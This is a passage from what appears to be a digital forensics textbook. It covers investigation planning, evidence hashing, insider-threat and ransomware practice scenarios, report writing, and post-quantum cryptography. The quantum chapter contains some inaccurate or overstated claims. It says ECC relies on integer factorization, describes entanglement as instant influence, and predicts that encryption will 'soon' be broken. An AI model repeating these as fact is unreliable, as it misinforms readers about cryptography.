27.1.1 Formalizing the Investigation Plan

An *Investigation Plan* is a formal document that defines the goals, limits, and legal rules of the investigation. This plan is not just paperwork. It is a guide for your analysis. It is also the main document you use to explain why

you took each action. The plan makes the investigator think carefully about the goals before focusing on the technical work.

A complete plan should include the following parts:

Case ID: A unique identifier for the investigation (for example, ‘CASE-2025-001‘).

Investigator(s): The full name and title of each person doing the analysis.

Case Brief: A short paragraph that summarizes the problem, request, or complaint. This explains the reason for the investigation.

Initial Hypothesis: A simple, testable theory about what happened. For example: "An unauthorized user accessed the finance server through an open RDP port and stole (or *exfiltrated*) the Q2 customer database." You will test this theory, and the evidence may prove it right or wrong.

Scope Statement: A clear definition of what is included and not included in the investigation. This prevents *scope creep*, which is when the investigation's goals expand beyond the original plan. For example: "Analysis is limited to the provided disk image ‘finance-serv.e01‘ and network capture ‘corp-lan.pcap‘ for the time period from July 15, 2025, 00:00 UTC to July 17, 2025, 23:59 UTC."

Evidence Items: A complete list of all digital evidence files for the case. Include their full filenames and *cryptographic hash values*. A hash is a unique digital fingerprint, like an SHA-256 hash, created from the data.

Intended Tools: A list of the main software and hardware you will use for the analysis. For example, Autopsy, Volatility 3, Wireshark, FTK Imager, and a *write-blocker*. A write-blocker is a device that lets you read data from a storage device without any chance of changing it.

The 5-Step Investigation Planning Process

A structured way to create the plan helps ensure you cover all key areas.

(1) **Review Request:** Fully understand the main questions you need to answer. What are the key goals of the people who requested the investigation?

(2) **Formulate Hypothesis:** Based on the first request and information, state a clear, simple theory of what happened to guide your initial search.

(3) **Identify Evidence:** List all digital evidence sources you have for this case.

(4) **Define Scope:** Set clear limits (like time frames, systems, or user accounts) to guide your analysis and manage what people expect.

(5) **Select Tools:** Choose the right forensic tools based on the types of evidence and your theory. Write down this entire plan before you move to the next step.

27.1.2 Establishing the Case Management System

An organized case file is the foundation for an investigation that is reproducible and easy to defend. If your notes, exports, and reports are not organized, it is impossible for another investigator to check your work. This can make people doubt your conclusions [33]. Using a standard folder structure is very important for managing evidence, analysis notes, exports, and the final report.

We recommend creating a main folder for each case, named with its Case ID. Inside this main folder, a standard set of subfolders provides a logical place for every piece of data in the case:

- `00_Planning/`: Contains the formal Investigation Plan document.
- `01_Evidence/`: Contains the original, write-protected evidence files and their list of hashes.
- `02_AnalysisLogs/`: Stores logs from your forensic tools, command-line histories, and any analysis scripts you write.
- `03_Exports/`: A clean place for files you export from the evidence, like specific documents, registry hives, browser history files, or email archives.
- `04_Notes/`: Your notes in time order, documentation of findings, theories, and dead ends. This is your investigation journal.
- `05_Reports/`: The location for drafts and the final version of your investigative report.

Practical Demo: Creating the Case Structure and Hashing Evidence, You can create this standard folder structure quickly from the command line.

On Linux or macOS:

```
mkdir -p CASE-2025-001/{00_Planning,01_Evidence,02_AnalysisLogs,03_Exports,
04_Notes,05_Reports}
```

Next, check the integrity of your evidence files by hashing them. Save the output to a file. This step records the start of the *chain of custody*. The chain of custody is a formal log that shows who handled the evidence and when, proving it has not been changed.

On Linux or macOS, if evidence files are in ‘ /Downloads/evidence/‘:

```
# Calculate SHA-256 hashes for all .e01 files in the directory
sha256sum ~/Downloads/evidence/case01-*.e01 > \
CASE-2025-001/01_Evidence/evidence_hashes.txt
```

On Windows, using PowerShell:

```
# Create the hash manifest file
Get-ChildItem C:\Users\Analyst\Downloads\evidence\*.e01 | `
Get-FileHash -Algorithm SHA256 | `
Out-File C:\Cases\CASE-2025-001\01_Evidence\evidence_hashes.txt
```

After this, you should move the original evidence files into the '01_Evidence' folder and make them read-only to prevent any accidental changes.

27.2 The Core Investigation Scenarios

Instructions for the Reader

Choose one of the following two scenarios to investigate. Before you start any technical work, you must complete an Investigation Plan and create the case folder structure as described in the previous section. Your final goal is to use the evidence to answer the "Key Questions" for your chosen scenario in a formal report. Remember to document every step, tool, command, and finding in your case notes inside the '04_Notes' directory.

27.2.1 Scenario 1: The Insider Threat

Case Brief: An employee, "Susan Foreman," a senior design engineer, resigned suddenly last Friday. The company has an agreement that stops her from working for competitors. The company is worried that she may have stolen secret design documents for a new product, codenamed "Project Chimera." The company claims the documents were stored in a file named 'Project-Chimera.zip'. HR has provided a disk image of her company laptop.

Provided Evidence:

- `SF-Laptop.e01`: A full *E01 disk image*, which is a standard forensic copy of a hard drive, from Foreman's Windows 10 laptop.
- `usb_logs.csv`: A CSV file from the company's *Security Information and Event Management (SIEM)* system. A SIEM is a tool that collects and analyzes security data from many different sources. This file shows all USB device connections on the network for the last 30 days.

Key Questions for Final Report:

(1) Is there evidence that a file named 'Project-Chimera.zip' ever existed on Foreman's laptop?

(2) What important actions did Foreman take in her last 48 hours of recorded activity (for example, file access, web browsing, or application use)?

(3) Can you identify any external storage devices connected to her machine during this time? If so, provide the make, model, and serial number if you can find them.

(4) Is there evidence that data was copied to an external device? If so, provide a timeline of events and a list of files that might have been stolen.

(5) What is your final conclusion about the data theft claim?

Insider threats, whether they are on purpose or by accident, are a major risk for organizations. The analysis often requires connecting digital evidence from a computer with network or log data from other company systems to build a complete picture of activity [139].

27.2.2 Scenario 2: Ransomware Attack

Case Brief: The main file server, 'FS-01', suddenly stopped responding to users at about 10:00 AM on Monday. A system administrator tried to log in at the server and found a ransom note on the desktop. The server was immediately disconnected from the network. An incident responder captured a full *memory dump* before the server was shut down. A memory dump is a copy of a computer's active memory (RAM) at a specific moment. A full disk image was taken after shutdown.

Provided Evidence:

- `FS-01-memdump.raw`: A raw memory dump from the infected Windows Server 2019 machine.
- `FS-01-disk.e01`: A full E01 disk image of the server's C: drive.
- `RansomNote.html`: The HTML ransom note found on the server's desktop.

Key Questions for Final Report:

(1) Identify the malicious programs running in memory when the incident happened.

(2) What was the likely way the attacker first got into the system? (This is called the *initial vector of compromise*). For example, was it a malicious email attachment, a software weakness, or stolen user login information?

(3) Can you identify the specific ransomware name or family from evidence on the disk or in memory?

(4) What network connections did the malware create? List any suspected *Command and Control (C2)* server IP addresses or domains. A C2 server is a computer controlled by an attacker to send commands to infected systems.

(5) Based on your analysis of the disk image, how many files were encrypted? Are there any system files (like *Volume Shadow Copies*, which are backups of files) that could help recover data?

Real-World Context: WannaCry, In May 2017, the WannaCry ransomware spread around the world at a very fast speed, disabling important systems like hospitals, transport systems, and large companies. It used a weakness in Microsoft Windows' SMB service. This attack showed how important fast incident response is. In these cases, memory analysis is extremely important. The *volatile data* (data in memory) contains running programs, network connections, and encryption keys. This information is lost forever when a computer is turned off or restarted [37]. Analyzing the memory dump before the disk image is often the key to understanding the malware's immediate actions [135].

27.3 The Post-Investigation Phase

The final phase of the investigation is where you turn raw data into useful information. This phase focuses on combining your findings into a clear story and a professional report that both technical and non-technical people can understand.

27.3.1 Synthesizing Findings and Building a Timeline

Your analysis will create hundreds of single data points: a timestamp from a filesystem, a URL from browser history, a process name from a memory dump, a registry key change time. The skill of an investigator is to connect these different pieces of evidence to build a complete story of what happened. For example, you should compare a file creation time in the *Master File Table (MFT)* (a special file that lists all other files on a drive) with records in the Windows Event Logs or the *USN Journal* (a log of changes made to files). This helps confirm the activity and the user account involved.

The best way to structure your findings is to build a master *Timeline of Events (ToE)*. This timeline is the main structure of your analysis and your final report. It lists every important event in time order and connects each event back to its source of evidence.

A basic ToE format is as follows:

27.3.2 Crafting the Final Investigative Report

The final report is the final result of your work. Its purpose is to communicate your findings clearly, simply, and objectively. The report's structure should be logical and follow standard practices to make sure it is understood by everyone involved, from system administrators to company lawyers [186].

A professional report should contain these sections:

Table 27.1: A basic ToE format

Timestamp (UTC)	Source of Evidence	Event Description	Relevance to Hypothesis
2025-07-28 14:32:15	SF-Laptop.e01 - Registry (USBSTOR)	Kingston DataTraveler 3.0 (S/N: 001CC0EC34F1B041) first connected.	Shows that external media was present.
2025-07-28 14:35:02	SF-Laptop.e01 - MFT ($LogFile)	File '`D:\Project-Chimera.zip`' created.	Confirms that the target file existed.
...	...	...	...

(1) **Executive Summary:** This is a single page written for non-technical people (like managers or lawyers). It should not use technical terms. It should state the most important findings and the final conclusion at the beginning. It answers the "why is this important?" question.

(2) **Case Details:** This section should include the Case ID, the name(s) of the investigator(s), the dates of the investigation, and the Scope Statement from your Investigation Plan.

(3) **Evidence Summary:** List all evidence items that you analyzed. For each item, provide the full filename, a short description, and the cryptographic hashes (e.g., MD5, SHA-1, SHA-256) that you checked at the start of your investigation.

(4) **Detailed Findings:** This is the main part of the report and should present your Timeline of Events. You must explain each finding in the timeline in detail and clearly connect it to the digital evidence that supports it. For example: "At 14:32:15 UTC on July 28, 2025, the suspect connected a Kingston DataTraveler USB device with serial number 001CC0EC34F1B041. This was determined by examining the Windows Registry key `HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR` within the evidence file `SF-Laptop.e01`."

(5) **Conclusion:** State your overall conclusion again, based on all the evidence you presented in the Detailed Findings section. You must directly answer every "Key Question" from the original scenario.

(6) **Appendices (Optional):** If needed, include extra sections with parts of key logs, important tool outputs, or screenshots. These should be essential for supporting your findings but too long or detailed for the main part of the report.

27.4 Final Submission and Self-Assessment

Before you consider your investigation finished, it is very important to check the quality of your own work. A mistake or something you forgot can damage the trust in your whole investigation. Use the following checklist to check your case file and final report.

Investigator's Self-Assessment Checklist

_ Is the investigation plan complete and does it accurately describe the work you did?

_ Is the chain of custody for all evidence documented with verified hash values?

_ Does every finding in the report directly refer to a specific piece of supporting evidence?

_ Are all timestamps converted to a single, clearly stated time zone (e.g., UTC)?

_ Have all the "Key Questions" for the scenario been answered clearly and directly in the conclusion?

_ Is the executive summary clear, short, and free of technical terms?

_ Has the report been checked for clarity, grammar, and spelling errors?

Conclusion

In this chapter, you practiced the complete process of a digital investigation. You learned that successful analysis requires careful planning, good documentation, and a clear final report. An investigator uses this structured method to make sure their findings are accurate, complete, and easy for others to understand. You now have the skills to conduct a forensic investigation from start to finish, which will help you succeed in real-world cases.

Acronyms and Terminology

C2 (Command and Control) A server computer controlled by an attacker that is used to send commands to compromised systems (bots) and receive stolen data from them.

Chain of Custody The documented chronological record showing who had possession of a piece of evidence at all times, from its collection to its final disposition, to ensure its integrity has not been compromised.

Cryptographic Hash A unique digital fingerprint of a piece of data, created by a mathematical algorithm (like SHA-256). It is used to verify that a file or disk image has not been altered.

CSV (Comma-Separated Values) A simple file format that stores tabular data (numbers and text) in plain text, with each line representing a row and commas separating the values in that row.

Disk Image A forensic copy of an entire storage device (like a hard drive or USB stick), preserving all data, including deleted files and unallocated space, in a single file. The E01 format is a common standard.

E01 (EnCase Evidence File) A standard, proprietary file format for storing a forensic disk image, created by the software EnCase. It includes the raw data along with metadata and hashes to verify integrity.

Exfiltrate To secretly steal and transfer data from a computer system or network to an external location controlled by an attacker.

Forensically Sound A term describing an investigation process where the evidence is handled in a way that is scientifically accepted and legally defensible, ensuring that the evidence is not altered.

FTK (Forensic Toolkit) Imager A free software tool used in digital forensics to create forensic disk images and preview the contents of a storage device without altering it.

Initial Vector of Compromise The specific method or vulnerability that an attacker first used to gain unauthorized access to a system or network.

Investigation Plan A formal document created before starting an analysis that outlines the objectives, legal authority, scope, and methods to be used in a digital investigation.

Master File Table (MFT) A database file on an NTFS file system (used by Windows) that contains information about every file and directory on the volume, such as its name, size, and location.

MD5 (Message Digest 5) A widely used but now considered insecure cryptographic hash algorithm that produces a 128-bit hash value. It is sometimes used for basic file verification but not for high-security purposes.

Memory Dump (or RAM Dump) A snapshot of the contents of a computer's volatile memory (RAM) saved to a file at a specific point in time. It is crucial for analyzing running processes, network connections, and malware that may not be stored on the hard drive.

RAM (Random-Access Memory) A computer's short-term, volatile memory where it stores data for applications that are currently running. This data is lost when the computer is powered off.

RDP (Remote Desktop Protocol) A protocol developed by Microsoft that allows a user to connect to and control another computer over a network connection.

Scope Creep The tendency for an investigation's objectives and work to expand beyond what was originally defined in the scope statement.

SHA-1 (Secure Hash Algorithm 1) A cryptographic hash algorithm that creates a 160-bit hash value. It is now considered weak and deprecated for most security uses but may still be found in older cases.

SHA-256 (Secure Hash Algorithm 256-bit) A strong, widely-used cryptographic hash algorithm that produces a 256-bit hash value. It is a standard for verifying data integrity in modern digital forensics.

SIEM (Security Information and Event Management) A system that collects, aggregates, and analyzes security-related log data from various sources across a network to provide real-time monitoring and threat detection.

SMB (Server Message Block) A network protocol used for providing shared access to files, printers, and other resources on a network, primarily used by Windows systems.

Timeline of Events (ToE) A chronological list of all significant activities and digital events relevant to an investigation, linking each event to the specific evidence that proves it occurred.

USN Journal (Update Sequence Number Journal) A feature of the Windows NTFS file system that logs all changes made to files and directories on a volume, providing a record of file creation, deletion, and modification.

UTC (Coordinated Universal Time) The primary time standard by which the world regulates clocks and time. It is used in digital investigations to ensure all timestamps from different sources are synchronized to a single, unambiguous timezone.

Volatile Data Data that exists only while a computer is powered on, primarily located in RAM. It is lost upon shutdown or reboot, making its collection (via a memory dump) a critical and time-sensitive step.

Volume Shadow Copies A technology included in Microsoft Windows that can create backup copies or snapshots of computer files or volumes, even when they are in use. They can be a valuable source for recovering deleted or encrypted data.

Write-Blocker A hardware or software tool that allows an investigator to read data from a storage device (like a hard drive) without allowing any data to be written back to it, thus preserving the original evidence.

Chapter 28

Quantum Computing and the Future of Digital Forensics

Introduction

Quantum computers will soon break the encryption that protects digital evidence. This is important for a digital investigator because evidence collected today must remain secure for many years. This chapter explains the risks from quantum computing and shows you how to prepare for them. We will discuss the main threats to encryption, learn about new post-quantum solutions, and see the practical steps you can take to protect digital evidence.

28.1 The Quantum Threat to Cryptography

The main danger from quantum computers is their ability to solve certain types of mathematical problems. Today's most powerful classical supercomputers cannot solve these problems. Unfortunately, our modern cryptography standards are based on these same difficult problems.

28.1.1 A Primer on Quantum Computation

To understand this threat, you must first know the basic difference between a classical computer and a quantum computer.

From Bits to Qubits

A classical computer uses *bits*. A bit is the smallest piece of data, and it can only be in one of two states: 0 or 1. Think of it as a simple light switch that is

either on or off. All complex tasks that a classical computer does are based on managing these binary states.

A quantum computer uses *qubits*. A qubit, or quantum bit, is the basic unit of information in a quantum computer. While a bit must be either 0 or 1, a qubit can be in a special state that is a combination of both 0 and 1. This is possible because of two main principles of quantum mechanics:

- **Superposition:** This principle allows a qubit to be in a mix of both the 0 and 1 states at the same time. Imagine a spinning coin before it lands; it is neither heads nor tails but a combination of both possibilities. By using superposition, a quantum computer with only a few hundred qubits can work with more values than there are atoms in the known universe. This ability to perform many calculations at once is called *parallelism*.
- **Entanglement:** This is a strange connection between two or more qubits. They become linked, and what happens to one instantly affects the other. If you measure the state of one entangled qubit, you instantly know the state of the other, no matter how far apart they are. Albert Einstein famously called it "spooky action at a distance." When qubits are entangled, the computer's power increases exponentially with every new qubit. This power grows much faster than what is possible with classical bits.

Why It's a Threat

Many people mistakenly believe that quantum computers will be faster at everything. This is not true. A quantum computer is not better for everyday tasks like sending emails or writing documents. They are special machines built to solve specific types of problems. These problems have a mathematical structure that quantum effects, like superposition and entanglement, can use to find a solution quickly [160]. The danger for forensics exists because of a coincidence: the most important public-key encryption systems are based on exactly the types of math problems that quantum computers are very good at solving.

28.1.2 Shor's Algorithm: The Cryptpocalypse Engine

The biggest and most direct threat from quantum computing is to *asymmetric cryptography*, also known as public-key cryptography. This type of cryptography includes algorithms like RSA and Elliptic Curve Cryptography (ECC). It is the foundation of secure communication on the internet. It protects web traffic (HTTPS), virtual private networks (VPNs), and digital signatures on legal documents.

The Asymmetric Encryption Weakness

The security of RSA and ECC depends on a very hard mathematical problem: *integer factorization*. This is the process of finding the original prime

numbers that were multiplied together to get a larger number. When you create an RSA key pair, you multiply two extremely large prime numbers together to generate a public key. Multiplying these numbers is easy. However, finding the original two prime numbers by looking only at the result (the public key) is extremely hard for a classical computer. For a standard-sized key, it would take a classical supercomputer trillions of years to do this. This makes it impossible in practice. This is called a *trapdoor function* because it is easy to perform in one direction but almost impossible to reverse. This is what makes it secure.

How Shor's Algorithm Breaks It

In 1994, a mathematician named Peter Shor created a quantum algorithm that destroys this security assumption [187]. Shor's algorithm is a set of instructions that uses the special abilities of a quantum computer. It can find the prime factors of large numbers very quickly.

Here is a simplified explanation of how the algorithm works:

(1) **Goal:** Find the prime factors, p and q, of a large public integer, N.

(2) **Classical Step:** An analyst chooses a random number, a, smaller than N.

(3) **Quantum Core Step:** This is the most important step. The quantum computer finds the "period" (r) of the function $f(x) = a^x \pmod{N}$. Finding this period is the key task. Superposition lets the quantum computer check many values of x at the same time. This step is extremely slow for classical computers but should be fast for quantum computers.

(4) **Classical Post-Processing:** The period r that the quantum computer finds is then used in a simple classical calculation. This calculation finds the factors of N with a high chance of success.

(5) **Result:** Once the prime factors are known, the private key can be easily calculated from the public key. This breaks the entire security system. An attacker can then decrypt any information that was protected by that public key.

Implications

The results of a working quantum computer running Shor's algorithm would be disastrous for digital security. This event is sometimes called the "Cryptpocalypse." It would allow an attacker to:

- **Decrypt Data:** All past, present, and future data encrypted with weak public-key algorithms (like RSA and ECC) would become easy to read.
- **Forge Signatures:** An attacker could forge any digital signature made with these algorithms. This would destroy our trust in software updates,

bank transactions, and legal digital contracts. It would also break the principle of *non-repudiation* in forensics, which is the guarantee that someone cannot deny having signed a document.

28.1.3 Grover's Algorithm: The Brute-Force Accelerator

Shor's algorithm attacks asymmetric cryptography. Another quantum algorithm, Grover's algorithm, is a threat to *symmetric encryption* [93]. Symmetric systems, such as the Advanced Encryption Standard (AES), use the same secret key to both encrypt and decrypt data. They are usually much faster than asymmetric systems and are used to encrypt large amounts of data, like the files on a hard drive.

The Threat to Symmetric Encryption

The security of symmetric encryption like AES depends on keeping the key secret and making the key long. Without the key, the only way to break the encryption is with a *brute-force attack*. This means trying every possible key until you find the right one. For AES-256, there are 2^{256} possible keys. This number is so large that a brute-force attack with a classical computer is impossible.

How Grover's Algorithm Speeds It Up

Grover's algorithm is a quantum search algorithm. It can find one item in a large, unorganized list much faster than a classical computer. Specifically, it provides a quadratic speed-up, meaning if you have N items, it takes roughly $\sqrt{N}$ steps. For cryptography, "finding an item" means finding the correct encryption key.

The effect of Grover's algorithm is that it effectively cuts the security strength of a symmetric key in half. For example, to attack AES-128 (which has 128-bit security), a quantum computer would need to perform about $\sqrt{2^{128}} = 2^{64}$ operations. This makes the number of keys to check small enough that an attack becomes possible. In the same way, AES-256, which is our best standard today, would have its security reduced to the level of a 128-bit key.

The Forensic Takeaway

The threat from Grover's algorithm is less destructive than the threat from Shor's, but it is still serious. To keep data secure from quantum computers, we must double the key length for symmetric algorithms. Luckily, this is a fairly easy change to make. The main recommendation for forensics is to switch from 128-bit keys to 256-bit keys (for example, from AES-128 to AES-256) for protecting all data that needs to be stored for a long time. When Grover's algorithm attacks an AES-256 key, the key still provides 128-bit security. This level of security is strong enough to protect against all known attacks from both quantum and classical computers for many years to come [152].

28.2 Post-Quantum Cryptography (PQC)

To fight the quantum threat, experts around the world are developing new public-key algorithms. This new field is called *Post-Quantum Cryptography (PQC)*. The name can be confusing. PQC algorithms do not run on quantum computers. They are normal algorithms that run on today's computers. However, they are based on math problems that we believe are hard for both classical and quantum computers to solve.

28.2.1 The "Harvest Now, Decrypt Later" Threat

People often ask why we need to use PQC now, since powerful quantum computers that can break cryptography are probably still many years away. The answer is a threat called "Harvest Now, Decrypt Later."

Y2Q (Years to Quantum)

The term Y2Q means "Years to Quantum." It is the countdown to the day a quantum computer is built that can break today's cryptography. Estimates for when this will happen are very different, from ten years to much longer. Because we are not sure, we must act now. Attackers, especially countries with a lot of money and resources, are not waiting for Y2Q.

Data Harvesting Explained

The "Harvest Now, Decrypt Later" strategy is simple but dangerous. An attacker collects and saves large amounts of encrypted data from the internet today. This data includes government secrets, company secrets, financial information, and private messages. Right now, it is safe because it is protected by RSA and ECC encryption. But the attacker is planning for the future. They store this data forever, waiting for the day they have a quantum computer to use on it. On that day, all this saved information will be easy to read [68]. Real events, like the massive internet data collection that Edward Snowden revealed, show that this type of data collecting is not a theory. It is already happening. If data needs to be kept secret for more than 10 years, the threat exists today.

28.2.2 The NIST PQC Standardization Process

To fight this threat, the U.S. National Institute of Standards and Technology (NIST) started a process to find and approve new PQC algorithms. This process took many years and was open to the public. This worldwide competition invited cryptographers from universities and companies to create and check the new cryptographic systems.

In 2022, after a lot of careful review, NIST announced the first PQC algorithms that it has standardized [2].

- **For General Encryption (Public-Key Encryption and Key-Establishment Mechanisms):** NIST chose CRYSTALS-Kyber. This algorithm will be used to create secure connections and keep data private.
- **For Digital Signatures:** NIST chose three algorithms: CRYSTALS-Dilithium, FALCON, and SPHINCS+. Dilithium is the main recommended algorithm. FALCON is useful when signatures must be small. SPHINCS+ is a *hash-based signature*, which is built differently. It was included because it provides a different type of security based on different math problems.

The New Mathematical Foundations

These new algorithms are based on math problems that are very different from the integer factorization problem used by RSA. The main types include:

- **Lattice-Based Cryptography (Kyber, Dilithium, Falcon):** This is the most promising type of PQC right now. Its security is based on the difficulty of solving problems on *lattices*. A lattice is like a geometric grid with many dimensions. Think of a huge, multi-dimensional pegboard. It is easy to put a new peg very far from the starting point. But it is extremely hard to find the shortest path from that peg back to the start [146].
- **Hash-Based Cryptography (SPHINCS+):** This method creates digital signatures using only secure *hash functions*, like SHA-256. A hash function is a one-way algorithm that converts an input of any size into a fixed-size string of characters. We understand hash functions well and believe they are safe from quantum attacks. The main weakness is that a key can only sign a limited number of messages. However, the security of these signatures is proven to be very strong.

28.3 Forensic Readiness in the Quantum Era

For a digital forensics expert, the change to PQC is not just a future problem for the IT department. It directly affects their daily work now. The main challenge is: how can we protect the privacy and integrity of digital evidence that we collect today? This evidence might be needed for a court case or an investigation many years in the future.

28.3.1 Implications for Evidence Integrity and Confidentiality

The quantum threat attacks two of the most important parts of handling digital evidence.

- **Long-Term Evidence Storage:** Imagine a hard drive taken from a suspect. It is encrypted with a tool like BitLocker, which might use an

RSA-based key exchange. If this evidence is stored for many years, an attacker with a future quantum computer could decrypt the whole drive. This would expose sensitive case files, victim information, or the identities of informants.

- **Digital Signature Validation:** We often use digital signatures to prove the integrity and source of evidence. These signatures create a trustworthy *chain of custody*, which is a log of who has handled the evidence. A quantum computer with Shor's algorithm could break the private key used to make an old signature. An attacker could then create a fake signature on changed evidence. The fake signature would look real and appear to have been signed in the past. This would destroy the non-repudiation of evidence and make it impossible to trust the chain of custody.

28.3.2 The Hybrid Cryptography Solution

The new PQC algorithms have not been tested for as long as classical algorithms like RSA and ECC. Because of this, the agreed-upon solution for now is a **hybrid approach**.

A Bridge to the Future

The hybrid approach combines an old algorithm and a new one. This gives us the benefits of both. When you encrypt data or create a secure connection, you use two algorithms at the same time:

(1) A trusted, well-known classical algorithm (like ECC).

(2) A new post-quantum algorithm (like CRYSTALS-Kyber).

To break the final encryption, an attacker must break *both* algorithms. This method gives strong security. It is at least as secure as the classical algorithm against today's computers. It is also at least as secure as the PQC algorithm against quantum computers. It works like a safety net. If a new weakness is found in the PQC algorithm, the security is still as strong as the classical algorithm we already trust [67].

Practical Demonstration, The following pseudocode shows how a hybrid shared secret could be created for a secure connection:

Listing 28.1: Example Pseudocode for a Hybrid Key Agreement

```
# The client and server agree to use one classical and one PQC algorithm
CLASSICAL_ALG = "ECDH-P256"
PQC_ALG = "CRYSTALS-Kyber-512"

# The client creates two key pairs
classical_key_pair_C = GENERATE_KEY(CLASSICAL_ALG)
pqc_key_pair_C = GENERATE_KEY(PQC_ALG)

# The server creates two key pairs
classical_key_pair_S = GENERATE_KEY(CLASSICAL_ALG)
pqc_key_pair_S = GENERATE_KEY(PQC_ALG)

# They exchange their public keys and create two separate shared secrets
classical_secret = KEY_AGREEMENT(classical_key_pair_C.private,
                                 classical_key_pair_S.public)
pqc_secret = KEY_AGREEMENT(pqc_key_pair_C.private,
                           pqc_key_pair_S.public)

# The final shared secret is created by combining both secrets
final_shared_secret = CONCATENATE(classical_secret, pqc_secret)

# This final secret is used to create a symmetric key (like AES-256)
# to encrypt the data for the connection
```

28.3.3 Quantum Opportunities in Forensics

Quantum computing is a major threat. However, it is also important to know that quantum technologies might also give investigators new tools in the far future.

Potential Future Applications

- **Quantum Sensing:** Quantum sensors are expected to be extremely sensitive. These devices could possibly find the very weak magnetic signals left by data on a hard drive that is damaged or has been professionally erased. This could recover information that today's tools, like magnetic force microscopy, cannot find.
- **Quantum Communication:** Technologies like *Quantum Key Distribution (QKD)* use quantum mechanics to create communication channels that are proven to be secure. If anyone tries to listen to a QKD channel, it changes the quantum states. This change immediately tells the users that someone is listening. QKD could be used to send very sensitive case information between police agencies. It would offer a physical protection against the "Harvest Now, Decrypt Later" threat for data being sent [172].

These uses are still being researched. But they show a future where the same science that creates the threat could also become a useful tool for forensics.

Conclusion

In this chapter, we learned that quantum computers will make current encryption standards like RSA and ECC unsafe. We also learned about the new post-quantum cryptography (PQC) standards that will replace them. This is important because attackers can save encrypted evidence today and break it in the future. An investigator must use hybrid encryption now to protect evidence that needs to be stored for a long time. In the next chapter, we will examine how modern operating systems use encryption to protect data, a topic where these new standards will soon be critical.

Acronyms and Terminology

AES (Advanced Encryption Standard) A widely used type of symmetric encryption for securing large amounts of data, such as the files on a hard drive.

Asymmetric Cryptography Also known as public-key cryptography, this method uses a pair of keys (one public, one private) to encrypt and decrypt data. Examples include RSA and ECC. It is highly vulnerable to Shor's algorithm.

Brute-force attack An attack method where an adversary tries every possible key combination until the correct one is found.

Chain of Custody The documented chronological history of evidence, showing its seizure, custody, control, transfer, analysis, and disposition. Its trustworthiness can be undermined by quantum attacks on digital signatures.

Confidentiality The principle of ensuring that digital evidence and sensitive information are kept secret and are not disclosed to unauthorized individuals.

Cryptpocalypse A term describing the potential future event where the arrival of a powerful quantum computer renders most of today's encryption systems useless.

Cryptography The science of using codes to secure communication, ensuring that information is kept private and protected from unauthorized access.

CRYSTALS-Dilithium A post-quantum cryptography algorithm chosen by NIST as the primary standard for creating quantum-resistant digital signatures.

CRYSTALS-Kyber A post-quantum cryptography algorithm chosen by NIST as the standard for general encryption and secure key establishment in a post-quantum world.

Digital Evidence Any information of investigative value that is stored on or transmitted by an electronic device.

Digital Forensics The field concerned with the identification, preservation, analysis, and presentation of digital evidence in a legally admissible way.

Digital Signatures A cryptographic technique used to verify the authenticity, integrity, and origin of digital documents, ensuring that the signer cannot deny their action (non-repudiation).

ECC (Elliptic Curve Cryptography) A form of public-key cryptography that is widely used today but is vulnerable to being broken by a quantum computer running Shor's algorithm.

Entanglement A quantum principle where two or more qubits become linked, and the state of one instantly affects the other, regardless of distance. This property exponentially increases a quantum computer's power.

Evidence Integrity The guarantee that digital evidence has not been altered or tampered with since it was collected. Quantum attacks can threaten this by forging digital signatures.

FALCON A post-quantum cryptography algorithm standardized by NIST for digital signatures, noted for its ability to produce very small signatures.

Forensic Readiness The capability to prepare for future threats and to collect, preserve, and analyze digital evidence in a legally sound and cost-effective manner.

Grover's Algorithm A quantum algorithm that significantly speeds up the process of searching an unsorted database. It effectively halves the security strength of symmetric encryption keys, like those used in AES.

Harvest Now, Decrypt Later An attack strategy where an adversary collects and stores large amounts of encrypted data today, intending to decrypt it years later with a future quantum computer.

Hash-based signature A type of digital signature (e.g., SPHINCS+) that uses secure hash functions as its foundation, making it resistant to known quantum attacks.

Hash function A one-way algorithm that transforms any amount of data into a fixed-size string of characters. It is commonly used to verify data integrity.

HTTPS (Hypertext Transfer Protocol Secure) The secure protocol for web traffic, which relies on public-key cryptography to protect data and is therefore vulnerable to quantum attacks.

Hybrid Cryptography An approach that combines a traditional, trusted algorithm (like ECC) with a new post-quantum algorithm (like Kyber) to protect data against both classical and quantum computers.

Integer factorization The hard mathematical problem of finding the prime numbers that were multiplied to create a larger number. The security of the RSA algorithm relies on this problem being difficult for classical computers.

Lattice-Based Cryptography A prominent family of PQC algorithms (including Kyber and Dilithium) whose security is based on the difficulty of solving problems on a multi-dimensional grid or lattice.

NIST (National Institute of Standards and Technology) The U.S. government agency responsible for setting technology standards, which is leading the global effort to standardize post-quantum cryptography.

Non-repudiation A security guarantee provided by digital signatures that ensures a party cannot deny the authenticity of their signature on a document or message.

PQC (Post-Quantum Cryptography) A new class of cryptographic algorithms designed to run on today's computers but built to be secure against attacks from both classical and future quantum computers.

Public-key Cryptography See Asymmetric Cryptography.

QKD (Quantum Key Distribution) A secure communication method that uses quantum mechanics to exchange encryption keys, offering provable security against eavesdropping.

Qubit The basic unit of quantum information. Unlike a classical bit (0 or 1), it can exist in a superposition of both states simultaneously.

RSA (Rivest-Shamir-Adleman) A foundational public-key cryptography algorithm used for secure data transmission. It is directly threatened by Shor's algorithm.

Shor's Algorithm A quantum algorithm that can efficiently find the prime factors of large numbers, making it capable of breaking the most common forms of public-key encryption, including RSA and ECC.

SPHINCS+ A hash-based post-quantum algorithm standardized by NIST for digital signatures. It offers a different type of security compared to lattice-based methods.

Superposition The quantum principle that allows a qubit to be in a combination of both 0 and 1 states at the same time, enabling quantum computers to perform many calculations at once.

Symmetric Encryption An encryption method, like AES, that uses a single key to both encrypt and decrypt information.

Trapdoor function A type of mathematical function that is easy to compute in one direction but extremely difficult to reverse without a secret piece of information (the "trapdoor"). Public-key cryptography is based on this concept.

VPN (Virtual Private Network) A service that creates a secure, encrypted connection over a public network, often using cryptographic protocols vulnerable to quantum attack.

Y2Q (Years to Quantum) A term referring to the estimated time until a quantum computer capable of breaking current cryptographic standards is developed.

Chapter 29

Horizon Scanning: Next-Generation Threats and Defenses

Introduction

To be a successful digital investigator, you must not only solve today's cases but also prepare for tomorrow's technology. This final chapter explains how to look ahead at future threats and defenses. We will explore how artificial intelligence, quantum computing, and virtual worlds like the Metaverse will create new challenges. Understanding these future changes will help you stay effective throughout your career.

29.1 The Future Technological Battlefield

The technology available at a certain time shapes how digital investigations are done. The last thirty years of forensics were defined by the spread of personal computers and the internet. The next thirty years will be defined by new technologies that are just beginning to appear. This section explains how these new technologies will change the work of a digital investigator.

